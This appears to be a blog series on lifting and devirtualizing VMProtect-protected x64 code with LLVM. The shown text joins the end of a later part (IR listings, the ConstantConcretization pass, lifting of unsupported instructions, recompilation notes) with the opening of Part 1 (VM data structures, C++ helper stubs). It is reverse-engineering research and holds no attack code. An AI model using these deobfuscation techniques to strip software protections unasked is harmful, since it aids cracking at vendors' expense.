define dso_local i64 @F_0x1400045b0(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  %1 = load i64, i64* %rsp, align 8
  %2 = load i64, i64* %rcx, align 8
  %3 = call { i32, i32, i32, i32 } asm "  xchgq  %rbx,${1:q}\0A  cpuid\0A  xchgq  %rbx,${1:q}", "={ax},=r,={cx},={dx},0,~{dirflag},~{fpsr},~{flags}"(i32 1)
  %4 = extractvalue { i32, i32, i32, i32 } %3, 0
  %5 = extractvalue { i32, i32, i32, i32 } %3, 1
  %6 = and i32 %4, 4080
  %7 = icmp eq i32 %6, 4064
  %8 = xor i32 %4, 32
  %9 = select i1 %7, i32 %8, i32 %4
  %10 = and i32 %5, 16777215
  %11 = add i32 %9, %10
  %12 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @GS, i64 0, i64 96) to i64*), align 1
  %13 = add i64 %12, 288
  %14 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %13
  %15 = bitcast i8* %14 to i16*
  %16 = load i16, i16* %15, align 1
  %17 = zext i16 %16 to i32
  %18 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @RAM, i64 0, i64 5369231568) to i64*), align 1
  %19 = shl nuw nsw i32 %17, 7
  %20 = add i64 %18, 32
  %21 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %20
  %22 = bitcast i8* %21 to i32*
  %23 = load i32, i32* %22, align 1
  %24 = xor i32 %23, 2480
  %25 = add i32 %11, %19
  %26 = trunc i64 %18 to i32
  %27 = add i64 %18, 88
  %28 = xor i32 %25, %26
  br label %29

29:                                               ; preds = %37, %0
  %30 = phi i64 [ %27, %0 ], [ %38, %37 ]
  %31 = phi i32 [ %24, %0 ], [ %39, %37 ]
  %32 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %30
  %33 = bitcast i8* %32 to i32*
  %34 = load i32, i32* %33, align 1
  %35 = xor i32 %34, 30826
  %36 = icmp eq i32 %28, %35
  br i1 %36, label %41, label %37

37:                                               ; preds = %29
  %38 = add i64 %30, 8
  %39 = add i32 %31, -1
  %40 = icmp eq i32 %31, 1
  br i1 %40, label %86, label %29

41:                                               ; preds = %29
  %42 = add i64 %1, 40
  %43 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %42
  %44 = bitcast i8* %43 to i32*
  %45 = load i32, i32* %44, align 1
  %46 = add i64 %1, 36
  %47 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %46
  %48 = bitcast i8* %47 to i32*
  store i32 %45, i32* %48, align 1
  %49 = icmp ugt i32 %45, 5
  %50 = zext i32 %45 to i64
  %51 = add i64 %1, 32
  br i1 %49, label %81, label %52

52:                                               ; preds = %41
  %53 = shl nuw nsw i64 %50, 1
  %54 = and i64 %53, 4294967296
  %55 = sub nsw i64 %50, %54
  %56 = shl nsw i64 %55, 2
  %57 = add nsw i64 %56, 5368964976
  %58 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %57
  %59 = bitcast i8* %58 to i32*
  %60 = load i32, i32* %59, align 1
  %61 = zext i32 %60 to i64
  %62 = add nuw nsw i64 %61, 5368709120
  switch i32 %60, label %66 [
    i32 1465288, label %63
    i32 1510355, label %78
    i32 1706770, label %75
    i32 2442748, label %72
    i32 2740242, label %69
  ]

63:                                               ; preds = %52
  %64 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %65 = bitcast i8* %64 to i32*
  store i32 9, i32* %65, align 1
  br label %66

66:                                               ; preds = %52, %63
  %67 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %68 = bitcast i8* %67 to i32*
  store i32 20, i32* %68, align 1
  br label %69

69:                                               ; preds = %52, %66
  %70 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %71 = bitcast i8* %70 to i32*
  store i32 30, i32* %71, align 1
  br label %72

72:                                               ; preds = %52, %69
  %73 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %74 = bitcast i8* %73 to i32*
  store i32 55, i32* %74, align 1
  br label %75

75:                                               ; preds = %52, %72
  %76 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %77 = bitcast i8* %76 to i32*
  store i32 99, i32* %77, align 1
  br label %78

78:                                               ; preds = %52, %75
  %79 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %80 = bitcast i8* %79 to i32*
  store i32 100, i32* %80, align 1
  br label %81

81:                                               ; preds = %41, %78
  %82 = phi i64 [ %62, %78 ], [ %50, %41 ]
  %83 = phi i64 [ 5368709120, %78 ], [ %2, %41 ]
  %84 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %85 = bitcast i8* %84 to i32*
  store i32 22, i32* %85, align 1
  store i64 %83, i64* %rcx, align 8
  br label %86

86:                                               ; preds = %37, %81
  %87 = phi i64 [ %82, %81 ], [ 3735929054, %37 ]
  %88 = phi i64 [ 5368727067, %81 ], [ 0, %37 ]
  store i64 %87, i64* %rax, align 8
  ret i64 %88
}

When the PointersHoisting pass is applied before executing the DSE pass we obtain the following code, where the switch case has been completely removed because it has been deemed dead.

define dso_local i64 @F_0x1400045b0(i64* noalias nocapture nonnull align 8 dereferenceable(8) %0, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %1, i64* noalias nocapture nonnull align 8 dereferenceable(8) %2, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %3, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %4, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %5, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %6, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %7, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %8, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %9, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %10, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %11, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %12, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %13, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %14, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %15, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %16, i64 %17, i64 %18, i64 %19) local_unnamed_addr {
  %21 = load i64, i64* %7, align 8
  %22 = load i64, i64* %2, align 8
  %23 = tail call { i32, i32, i32, i32 } asm "  xchgq  %rbx,${1:q}\0A  cpuid\0A  xchgq  %rbx,${1:q}", "={ax},=r,={cx},={dx},0,~{dirflag},~{fpsr},~{flags}"(i32 1)
  %24 = extractvalue { i32, i32, i32, i32 } %23, 0
  %25 = extractvalue { i32, i32, i32, i32 } %23, 1
  %26 = and i32 %24, 4080
  %27 = icmp eq i32 %26, 4064
  %28 = xor i32 %24, 32
  %29 = select i1 %27, i32 %28, i32 %24
  %30 = and i32 %25, 16777215
  %31 = add i32 %29, %30
  %32 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @GS, i64 0, i64 96) to i64*), align 1
  %33 = add i64 %32, 288
  %34 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %33
  %35 = bitcast i8* %34 to i16*
  %36 = load i16, i16* %35, align 1
  %37 = zext i16 %36 to i32
  %38 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @RAM, i64 0, i64 5369231568) to i64*), align 1
  %39 = shl nuw nsw i32 %37, 7
  %40 = add i64 %38, 32
  %41 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %40
  %42 = bitcast i8* %41 to i32*
  %43 = load i32, i32* %42, align 1
  %44 = xor i32 %43, 2480
  %45 = add i32 %31, %39
  %46 = trunc i64 %38 to i32
  %47 = add i64 %38, 88
  %48 = xor i32 %45, %46
  %49 = add i64 %21, 32
  %50 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %49
  br label %51

  %52 = phi i64 [ %47, %20 ], [ %60, %59 ]
  %53 = phi i32 [ %44, %20 ], [ %61, %59 ]
  %54 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %52
  %55 = bitcast i8* %54 to i32*
  %56 = load i32, i32* %55, align 1
  %57 = xor i32 %56, 30826
  %58 = icmp eq i32 %48, %57
  br i1 %58, label %63, label %59

  %60 = add i64 %52, 8
  %61 = add i32 %53, -1
  %62 = icmp eq i32 %53, 1
  br i1 %62, label %88, label %51

  %64 = add i64 %21, 40
  %65 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %64
  %66 = bitcast i8* %65 to i32*
  %67 = load i32, i32* %66, align 1
  %68 = add i64 %21, 36
  %69 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %68
  %70 = bitcast i8* %69 to i32*
  store i32 %67, i32* %70, align 1
  %71 = icmp ugt i32 %67, 5
  %72 = zext i32 %67 to i64
  br i1 %71, label %84, label %73

  %74 = shl nuw nsw i64 %72, 1
  %75 = and i64 %74, 4294967296
  %76 = sub nsw i64 %72, %75
  %77 = shl nsw i64 %76, 2
  %78 = add nsw i64 %77, 5368964976
  %79 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %78
  %80 = bitcast i8* %79 to i32*
  %81 = load i32, i32* %80, align 1
  %82 = zext i32 %81 to i64
  %83 = add nuw nsw i64 %82, 5368709120
  br label %84

  %85 = phi i64 [ %83, %73 ], [ %72, %63 ]
  %86 = phi i64 [ 5368709120, %73 ], [ %22, %63 ]
  %87 = bitcast i8* %50 to i32*
  store i32 22, i32* %87, align 1
  store i64 %86, i64* %2, align 8
  br label %88

  %89 = phi i64 [ %85, %84 ], [ 3735929054, %59 ]
  %90 = phi i64 [ 5368727067, %84 ], [ 0, %59 ]
  store i64 %89, i64* %0, align 8
  ret i64 %90
}

ConstantConcretization

This pass falls under the category of the generic LLVM optimization passes that are useful when dealing with obfuscated code, but basically useless, at least in the current shape, in a standard compilation pipeline. In fact, it’s not uncommon to find obfuscated code relying on constants stored in data sections added during the protection phase.

As an example, on some versions of VMProtect, when the Ultra mode is used, the conditional branch computations involve dummy constants fetched from a data section. Or if we think about a virtualized jump table (e.g. generated by a switch in the original binary), we also have to deal with a set of constants fetched from a data section.

Hence the reason for having a custom pass that, during the execution of the pipeline, identifies potential constant data accesses and converts the associated memory load into an LLVM constant (or chain of constants). This process can be referred to as constant(s) concretization.

The pass is going to identify all the load memory accesses in the function and determine if they fall in the following categories:

  • A constantexpr memory load that is using an address contained in one of the binary sections; this case is what you would hit when dealing with some kind of data-based obfuscation;
  • A symbolic memory load that is using as base an address contained in one of the binary sections and as index an expression that is constrained to a limited amount of values; this case is what you would hit when dealing with a jump table.

In both cases the user needs to provide a safe set of memory ranges that the pass can consider as read-only, otherwise the pass will restrict the concretization to addresses falling in read-only sections in the binary.

In the first case, the address is directly available and the associated value can be resolved simply parsing the binary.

In the second case the expression computing the symbolic memory access is sliced, the constraint(s) coming from the predecessor block(s) are harvested and Souper is queried in an incremental way (conceptually similar to the one used while solving the outgoing edges in a VmBlock) to obtain the set of addresses accessing the binary. Each address is then verified to be really laying in a binary section and the corresponding value is fetched. At this point we have a unique mapping between each address and its value, that we can turn into a selection cascade, illustrated in the following LLVM-IR snippet:

; Fetching the switch control value from [rsp + 40]
%2 = add i64 %rsp, 40
%3 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %2
%4 = bitcast i8* %3 to i32*
%72 = load i32, i32* %4, align 1
; Computing the symbolic address
%84 = zext i32 %72 to i64
%85 = shl nuw nsw i64 %84, 1
%86 = and i64 %85, 4294967296
%87 = sub nsw i64 %84, %86
%88 = shl nsw i64 %87, 2
%89 = add nsw i64 %88, 5368964976
; Generated selection cascade
%90 = icmp eq i64 %89, 5368964988
%91 = icmp eq i64 %89, 5368964980
%92 = icmp eq i64 %89, 5368964984
%93 = icmp eq i64 %89, 5368964992
%94 = icmp eq i64 %89, 5368964996
%95 = select i1 %90, i64 2442748, i64 1465288
%96 = select i1 %91, i64 650651, i64 %95
%97 = select i1 %92, i64 2740242, i64 %96
%98 = select i1 %93, i64 1706770, i64 %97
%99 = select i1 %94, i64 1510355, i64 %98

The %99 value will hold the proper constant based on the address computed by the %89 value. The example above represents the lifted jump table shown in the next snippet, where you can notice the jump table base 0x14003E770 (5368964976) and the corresponding addresses and values:

.rdata:0x14003E770 dd 0x165BC8
.rdata:0x14003E774 dd 0x9ED9B
.rdata:0x14003E778 dd 0x29D012
.rdata:0x14003E77C dd 0x2545FC
.rdata:0x14003E780 dd 0x1A0B12
.rdata:0x14003E784 dd 0x170BD3

If we have a peek at the sliced jump condition implementing the virtualized switch case (below), this is how it looks after the ConstantConcretization pass has been scheduled in the pipeline and further InstCombine executions updated the selection cascade to compute the switch case addresses. Souper will therefore be able to identify the 6 possible outgoing edges, leading to the devirtualized switch case presented in the PointersHoisting section:

; Fetching the switch control value from [rsp + 40]
%2 = add i64 %rsp, 40
%3 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %2
%4 = bitcast i8* %3 to i32*
%72 = load i32, i32* %4, align 1
; Computing the symbolic address
%84 = zext i32 %72 to i64
%85 = shl nuw nsw i64 %84, 1
%86 = and i64 %85, 4294967296
%87 = sub nsw i64 %84, %86
%88 = shl nsw i64 %87, 2
%89 = add nsw i64 %88, 5368964976
; Generated selection cascade
%90 = icmp eq i64 %89, 5368964988
%91 = icmp eq i64 %89, 5368964980
%92 = icmp eq i64 %89, 5368964984
%93 = icmp eq i64 %89, 5368964992
%94 = icmp eq i64 %89, 5368964996
%95 = select i1 %90, i64 5371151872, i64 5370415894
%96 = select i1 %91, i64 5369359775, i64 %95
%97 = select i1 %92, i64 5371449366, i64 %96
%98 = select i1 %93, i64 5370174412, i64 %97
%99 = select i1 %94, i64 5370219479, i64 %98
%100 = call i64 @HelperKeepPC(i64 %99) #15

Unsupported instructions

It is well known that all the virtualization-based protectors support only a subset of the targeted ISA. Thus, when an unsupported instruction is found, an exit from the virtual machine is executed (context switching to the host code), running the unsupported instruction(s) and re-entering the virtual machine (context switching back to the virtualized code).

The UnsupportedInstructionsLiftingToLLVM proof-of-concept is an attempt to lift the unsupported instructions to LLVM-IR, generating an InlineAsm instruction configured with the set of clobbering constraints and (ex|im)plicitly accessed registers. An execution context structure representing the general purpose registers is employed during the lifting to feed the inline assembly call instruction with the loaded registers, and to store the updated registers after the inline assembly execution.

This approach guarantees a smooth connection between two virtualized VmStubs and an intermediate sequence of unsupported instructions, enabling some of the LLVM optimizations and a better registers allocation during the recompilation phase.

An example of the lifted unsupported instruction rdtsc follows:

define void @Unsupported_rdtsc(%ContextTy* nocapture %0) local_unnamed_addr #0 {
  %2 = tail call %IAOutTy.0 asm sideeffect inteldialect "rdtsc", "={eax},={edx}"() #1
  %3 = bitcast %ContextTy* %0 to i32*
  %4 = extractvalue %IAOutTy.0 %2, 0
  store i32 %4, i32* %3, align 4
  %5 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 3, i32 0
  %6 = bitcast %RegisterW* %5 to i32*
  %7 = extractvalue %IAOutTy.0 %2, 1
  store i32 %7, i32* %6, align 4
  ret void
}

An example of the lifted unsupported instruction cpuid follows:

define void @Unsupported_cpuid(%ContextTy* nocapture %0) local_unnamed_addr #0 {
  %2 = bitcast %ContextTy* %0 to i32*
  %3 = load i32, i32* %2, align 4
  %4 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 2, i32 0
  %5 = bitcast %RegisterW* %4 to i32*
  %6 = load i32, i32* %5, align 4
  %7 = tail call %IAOutTy asm sideeffect inteldialect "cpuid", "={eax},={ecx},={edx},={ebx},{eax},{ecx}"(i32 %3, i32 %6) #1
  %8 = extractvalue %IAOutTy %7, 0
  store i32 %8, i32* %2, align 4
  %9 = extractvalue %IAOutTy %7, 1
  store i32 %9, i32* %5, align 4
  %10 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 3, i32 0
  %11 = bitcast %RegisterW* %10 to i32*
  %12 = extractvalue %IAOutTy %7, 2
  store i32 %12, i32* %11, align 4
  %13 = getelementptr inbounds %ContextTy, %ContextTy* %0, i64 0, i32 1, i32 0
  %14 = bitcast %RegisterW* %13 to i32*
  %15 = extractvalue %IAOutTy %7, 3
  store i32 %15, i32* %14, align 4
  ret void
}

Recompilation

I haven’t really explored the recompilation in depth so far, because my main objective was to obtain readable LLVM-IR code, but some considerations follow:

  • If the goal is being able to execute, and eventually decompile, the recovered code, then compiling the devirtualized function using the layer of indirection offered by the general purpose register pointers is a valid way to do so. It is conceptually similar to the kind of indirection used by Remill with its own State structure. SATURN employs this technique when the stack slots and arguments recovery cannot be applied.
  • If the goal is to achieve a 1:1 register allocation, then things get more complicated because one can’t simply map all the general purpose register pointers to the hardware registers hoping for no side-effect to manifest.

The major issue to deal with when attempting a 1:1 mapping is related to how the recompilation may unexpectedly change the stack layout. This could happen if, during the register allocation phase, some spilling slot is allocated on the stack. If these additional spilling+reloading semantics are not adequately handled, some pointers used by the function may access unforeseen stack slots with disastrous results.

Results showcase

The following log files contain the output of the PoC tool executed on functions showcasing different code constructs (e.g. loop, jump table) and accessing different data structures (e.g. GS segment, DS segment, KUSER_SHARED_DATA structure):

  • 0x140001d10@DevirtualizeMe1: calling KERNEL32.dll::GetTickCount64 and literally included as nostalgia kicked in;
  • 0x140001e60@DevirtualizeMe2: executing an unsupported cpuid and with some nicely recovered llvm.fshl.i64 intrinsic calls used as rotations;
  • 0x140001d20@DevirtualizeMe2: calling ADVAPI32.dll::GetUserNameW and with a nicely recovered llvm.bswap.i64 intrinsic call;
  • 0x13001334@EMP: DllEntryPoint, calling another internal function (intra-call);
  • 0x1301d000@EMP: calling KERNEL32.dll::LoadLibraryA, KERNEL32.dll::GetProcAddress, calling other internal functions (intra-calls), executing several unsupported cpuid instructions;
  • 0x130209c0@EMP: accessing KUSER_SHARED_DATA and with nicely synthesized conditional jumps;
  • 0x1400044c0@Switches64: executing the CPUID handler and devirtualized with PointersHoisting disabled to preserve the switch case.

Searching for the @F_ pattern in your favourite text editor will bring you directly to each devirtualized VmStub, immediately preceded by the textual representation of the recovered CFG.

Afterword

I apologize for the length of the series, but I didn’t want to discard bits of information that could possibly help others approaching LLVM as a deobfuscation framework, especially knowing that, at this time, several parties are currently working on their own LLVM-based solution. I felt like showcasing its effectiveness and limitations on a well-known obfuscator was a valid way to dive through most of the details. Please note that the process described in the posts is just one of the many possible ways to approach the problem, and by no means the best way.

The source code of the proof-of-concept should be considered an experimentation playground, with everything that involves (e.g. bugs, unhandled edge cases, non production-ready quality). As a matter of fact, some of the components are barely sketched to let me focus on improving the LLVM optimization pipeline. In the future I’ll try to find the time to polish most of it, but in the meantime I hope it can at least serve as a reference to better understand the explained concepts.

Feel free to reach out with doubts, questions or even flaws you may have found in the process, I’ll be more than happy to allocate some time to discuss them.

I’d like to thank:

  • Peter, for introducing me to LLVM and working on SATURN together.
  • mrexodia and mrphrazer, for the in-depth review of the posts.
  • justmusjle, for enhancing the colors used by the diagrams.
  • Secret Club, for their suggestions and series hosting.

See you at the next LLVM adventure!

Tickling VMProtect with LLVM: Part 1

By: fvrmatteo
8 September 2021 at 23:00

This series of posts delves into a collection of experiments I did in the past while playing around with LLVM and VMProtect. I recently decided to dust off the code, organize it a bit better and attempt to share some knowledge in such a way that could be helpful to others. The macro topics are divided as follows:

Foreword

First, let me list some important events that led to my curiosity for reversing obfuscation solutions and attack them with LLVM.

  • In 2017, a group of friends (SmilingWolf, mrexodia and xSRTsect) and I, hacked up a Python-based devirtualizer and solved a couple of VMProtect challenges posted on the Tuts4You forum. That was my first experience reversing a known commercial protector, and taught me that writing compiler-like optimizations, especially built on top of a not so well-designed IR, can be an awful adventure.
  • In 2018, a person nicknamed RYDB3RG, posted on Tuts4You a first insight on how LLVM optimizations could be beneficial when optimising VMProtected code. Although the easy example that was provided left me with a lot of questions on whether that approach would have been hassle-free or not.
  • In 2019, at the SPRO conference in London, Peter and I presented a paper titled “SATURN - Software Deobfuscation Framework Based On LLVM”, proposing, you guessed it, a software deobfuscation framework based on LLVM and describing the related pros/cons.

The ideas documented in this post come from insights obtained during the aforementioned research efforts, fine-tuned specifically to get a good-enough output prior to the recompilation/decompilation phases, and should be considered as stable as a proof-of-concept can be.

Before anyone starts a war about which framework is better for the job, pause a few seconds and search the truth deep inside you: every framework has pros/cons and everything boils down to choosing which framework to get mad at when something doesn’t work. I personally decided to get mad at LLVM, which over time proved to be a good research playground, rich with useful analysis and optimizations, consistently maintained, sporting a nice community and deeply entangled with the academic and industry worlds.

With that said, it’s crystal clear that LLVM is not born as a software deobfuscation framework, so scratching your head for hours, diving into its internals and bending them to your needs is a minimum requirement to achieve your goals.

I apologize in advance for the ample presence of long-ish code snippets, but I wanted the reader to have the relevant C++ or LLVM-IR code under their nose while discussing it.

Lifting

The following diagram shows a high-level overview of all the actions and components described in the upcoming sections. The blue blocks represent the inputs, the yellow blocks the actions, the white blocks the intermediate information and the purple block the output.

Lifting pipeline

Enough words or code have been spent by others (1, 2, 3, 4) describing the virtual machine architecture used by VMProtect, so the next paragraph will quickly sum up the involved data structures with an eye on some details that will be fundamental to make LLVM’s job easier. To further simplify the explanation, the following paragraphs will assume the handling of x64 code virtualized by VMProtect 3.x. Drawing a parallel with x86 is trivial.

Liveness and aliasing information

Let’s start by saying that many deobfuscation tools are completely disregarding, or at best unsoundly handling, any information related to the aliasing properties bound to the memory accesses present in the code under analysis. LLVM on the contrary is a framework that bases a lot of its optimization passes on precise aliasing information, in such a way that the semantic correctness of the code is preserved. Additionally LLVM also has strong optimization passes benefiting from precise liveness information, that we absolutely want to take advantage of to clean any unnecessary stores to memory that are irrelevant after the execution of the virtualized code.

This means that we need to pause for a moment to think about the properties of the data structures involved in the code that we are going to lift, keeping in mind how they may alias with each other, for how long we need them to hold their values and if there are safe assumptions that we can feed to LLVM to obtain the best possible result.

A suboptimal representation of the data structures is most likely going to lead to suboptimal lifted code because the LLVM’s optimizations are going to be hindered by the lack of information, erring on the safe side to keep the code semantically correct. Way worse though, is the case where an unsound assumption is going to lead to lifted code that is semantically incorrect.

At a high level we can summarize the data-related virtual machine components as follows:

  • 30 virtual registers: used internally by the virtual machine. Their liveness scope starts after the VmEnter, when they are initialized with the incoming host execution context, and ends before the VmExit(s), when their values are copied to the outgoing host execution context. Therefore their state should not persist outside the virtualized code. They are allocated on the stack, in a memory chunk that can only be accessed by specific VmHandlers and is therefore guaranteed to be inaccessible by an arbitrary stack access executed by the virtualized code. They are independent from one another, so writing to one won’t affect the others. During the virtual execution they can be accessed as a whole or in subregisters. From now on referred to as VmRegisters.

  • 19 passing slots: used by VMProtect to pass the execution state from one VmBlock to another. Their liveness starts at the epilogue of a VmBlock and ends at the prologue of the successor VmBlock(s). They are allocated on the stack and, while alive, they are only accessed by the push/pop instructions at the epilogue/prologue of each VmBlock. They are independent from one another and always accessed as a whole stack slot. From now on referred to as VmPassingSlots.

  • 16 general purpose registers: pushed to the stack during the VmEnter, loaded and manipulated by means of the VmRegisters and popped from the stack during the VmExit(s), reflecting the changes made to them during the virtual execution. Their liveness scope starts before the VmEnter and ends after the VmExit(s), so their state must persist after the execution of the virtualized code. They are independent from one another, so writing to one won’t affect the others. Contrarily to the VmRegisters, the general purpose registers are always accessed as a whole. The flags register is also treated as the general purpose registers liveness-wise, but it can be directly accessed by some VmHandlers.

  • 4 general purpose segments: the FS and GS general purpose segment registers have their liveness scope matching with the general purpose registers and the underlying segments are guaranteed not to overlap with other memory regions (e.g. SS, DS). On the contrary, accesses to the SS and DS segments are not always guaranteed to be distinct with each other. The liveness of the SS and DS segments also matches with the general purpose registers. A little digression: in the past I noticed that some projects were lifting the stack with an intra-virtual function scope which, in my experience, may cause a number of problems if the virtualized code is not a function with a well-formed stack frame, but rather a shellcode that pops some value pushed prior to entering the virtual machine or pushes some value that needs to live after exiting the virtual machine.

Helper functions

With the information gathered from the previous section, we can proceed with defining some basic LLVM-IR structures that will then be used to lift the individual VmHandlers, VmBlocks and VmFunctions.

When I first started with LLVM, my approach to generate the needed structures or instruction chains was through the IRBuilder class, but I quickly realized that I was spending more time looking at the documentation to generate the required types and instructions than actually focusing on designing them. Then, while working on SATURN, it became obvious that following Remill’s approach is a winning strategy, at least for the initial high level design phase. In fact their idea is to implement the structures and semantics in C++, compile them to LLVM-IR and dynamically load the generated bitcode file to be used by the lifter.

Without further ado, the following is a minimal implementation of a stub function that we can use as a template to lift a VmStub (virtualized code between a VmEnter and one or more VmExit(s)):

struct VirtualRegister final {
  union {
    alignas(1) struct {
      uint8_t b0;
      uint8_t b1;
      uint8_t b2;
      uint8_t b3;
      uint8_t b4;
      uint8_t b5;
      uint8_t b6;
      uint8_t b7;
    } byte;
    alignas(2) struct {
      uint16_t w0;
      uint16_t w1;
      uint16_t w2;
      uint16_t w3;
    } word;
    alignas(4) struct {
      uint32_t d0;
      uint32_t d1;
    } dword;
    alignas(8) uint64_t qword;
  } __attribute__((packed));
} __attribute__((packed));

using rref = size_t &__restrict__;

extern "C" uint8_t RAM[0];
extern "C" uint8_t GS[0];
extern "C" uint8_t FS[0];

extern "C"
size_t HelperStub(
  rref rax, rref rbx, rref rcx,
  rref rdx, rref rsi, rref rdi,
  rref rbp, rref rsp, rref r8,
  rref r9, rref r10, rref r11,
  rref r12, rref r13, rref r14,
  rref r15, rref flags,
  size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR,
  rref vsp, rref vip,
  VirtualRegister *__restrict__ vmregs,
  size_t *__restrict__ slots);

extern "C"
size_t HelperFunction(
  rref rax, rref rbx, rref rcx,
  rref rdx, rref rsi, rref rdi,
  rref rbp, rref rsp, rref r8,
  rref r9, rref r10, rref r11,
  rref r12, rref r13, rref r14,
  rref r15, rref flags,
  size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR)
{
  // Allocate the temporary virtual registers
  VirtualRegister vmregs[30] = {0};
  // Allocate the temporary passing slots
  size_t slots[19] = {0};
  // Initialize the virtual registers
  size_t vsp = rsp;
  size_t vip = 0;
  // Force the relocation address to 0
  REL_ADDR = 0;
  // Execute the virtualized code
  vip = HelperStub(
    rax, rbx, rcx, rdx, rsi, rdi,
    rbp, rsp, r8, r9, r10, r11,
    r12, r13, r14, r15, flags,
    KEY_STUB, RET_ADDR, REL_ADDR,
    vsp, vip, vmregs, slots);
  // Return the next address(es)
  return vip;
}

The VirtualRegister structure is meant to represent a VmRegister, divided in smaller sub-chunks that are going to be accessed by the VmHandlers in ways that don’t necessarily match the access to the subregisters on the x64 architecture. As an example, virtualizing the 64 bits bswap instruction will yield VmHandlers accessing all the word sub-chunks of a VmRegister. The __attribute__((packed)) is meant to generate a structure without padding bytes, matching the exact data layout used by a VmRegister.

The rref definition is a convenience type adopted in the definition of the arguments used by the helper functions, that, once compiled to LLVM-IR, will generate a pointer parameter with a noalias attribute. The noalias attribute is hinting to the compiler that any memory access happening inside the function that is not dereferencing a pointer derived from the pointer parameter, is guaranteed not to alias with a memory access dereferencing a pointer derived from the pointer parameter.

The RAM, GS and FS array definitions are convenience zero-length arrays that we can use to generate indexed memory accesses to a generic memory slot (stack segment, data segment), GS segment and FS segment. The accesses will be generated as getelementptr instructions and LLVM will automatically treat a pointer with base RAM as not aliasing with a pointer with base GS or FS, which is extremely convenient to us.

The HelperStub function prototype is a convenience declaration that we’ll be able to use in the lifter to represent a single VmBlock. It accepts as parameters the sequence of general purpose register pointers, the flags register pointer, three key values (KEY_STUB, RET_ADDR, REL_ADDR) pushed by each VmEnter, the virtual stack pointer, the virtual program counter, the VmRegisters pointer and the VmPassingSlots pointer.

The HelperFunction function definition is a convenience template that we’ll be able to use in the lifter to represent a single VmStub. It accepts as parameters the sequence of general purpose register pointers, the flags register pointer and the three key values (KEY_STUB, RET_ADDR, REL_ADDR) pushed by each VmEnter. The body is declaring an array of 30 VmRegisters, an array of 19 VmPassingSlots, the virtual stack pointer and the virtual program counter. Once compiled to LLVM-IR they’ll be turned into alloca declarations (stack frame allocations), guaranteed not to alias with other pointers used into the function and that will be automatically released at the end of the function scope. As a convenience we are setting the REL_ADDR to 0, but that can be dynamically set to the proper REL_ADDR provided by the user according to the needs of the binary under analysis. Last but not least, we are issuing the call to the HelperStub function, passing all the needed parameters and obtaining as output the updated instruction pointer, that, in turn, will be returned by the HelperFunction too.

